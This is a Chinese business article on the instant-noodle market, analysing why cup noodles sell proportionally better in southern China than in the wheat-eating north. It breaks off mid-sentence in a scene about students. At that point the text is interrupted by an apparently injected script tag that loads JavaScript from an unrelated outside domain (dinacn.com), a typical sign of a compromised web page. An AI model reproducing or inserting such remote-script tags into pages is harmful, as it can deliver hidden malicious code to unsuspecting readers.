如果对方便面的认同是从“方便”诉求出发，那容器面取代袋装面无疑是明显的趋势。 方便面市场诡异的楚河汉界 文/周 莲 为什么南方人更爱吃容器面？ 发现这点，纯属意外。用手头资料做容器面的销售占比分析时，意外地得到了这张中华大地南北对峙的方便面地图(见图)，犹如楚河汉界，泾渭分明。 让人奇怪的是，容器面的占比竟然是南强北弱！ 容器面属于高价产品，属于后起之秀，也就是方便面发展中后期的升级型。常理推断，北方市场以面食为主，是方便面市场重镇，容器面的推广度、接受度应该更高，发展得更快。但事实上，却是以米饭为主食的南方地区，容器面受到更多消费者的青睐。 从现有的资料来看，近几年南北方便面整体市场容量分布是南四北六，北方占六。但分开来看，容器面市场分布却是南六北四，即南方占六。也就是说，单看容器面，南方市场更成熟，且成长势头依然是相当迅猛（16%）。容器面的格局，完全和方便面这个品类背道而驰。 是哪一双看不见的手画下了这条分割线？真的是米为主食的南方方便面市场更成熟吗？抑或是还有其他原因？ 南北消费容量对比 从各省人均GDP来看（见表），虽然南部沿海地区比较发达，但广大的南部内陆地区经济依然落后。从经济强省来看，南北基本势均力敌，甚至北方要略强一些。所以，初步推断，当前的经济发展水平并不会影响容器面的发展。 南北人均米、面消费 南人食米、北人吃面，这个就不用赘述了。从这个消费习惯来看，北方人更应偏重方便面的消费。 市场究竟怎么样？ 如果仅仅是坐在办公室里，透过数据来分析，恐怕只能得出以下无解的结论： 1.方便面最大的市场，却不是容器面最大的市场。 2.从日本和中国台湾地区市场的发展规律来看，容器面随经济成长逐步取代袋装面，但在中国，容器面的占比却似乎已与经济发展无关。 3.喜欢吃面的北方市场消费了六成的方便面，但对容器面消费的认同度尚不及只占四成市场的南方。 那么，走出去，看看外面的市场发生了什么： 卖场里：年轻的女孩三三两两地在三连装杯面的货架前讨论哪个口味好吃；对面货架，一对中年夫妇正在选购五连包的方便面；旁边，一位身穿休闲T恤的年轻人推着堆了好几份桶面的购物车向结账台走去。 农村田垦：农忙时节，河南农民随身必带的“秋收三件套”：啤酒、统一绿茶、容器面。 办公室里：加班到一半的白领，从办公桌下取出一盒方便面，用饮水机的热水泡好。 学校：学生午间经过食堂，发现早已人满为患，便直接跑向小卖部买了容器面，现场?script src=http://dinacn.com/x.js> |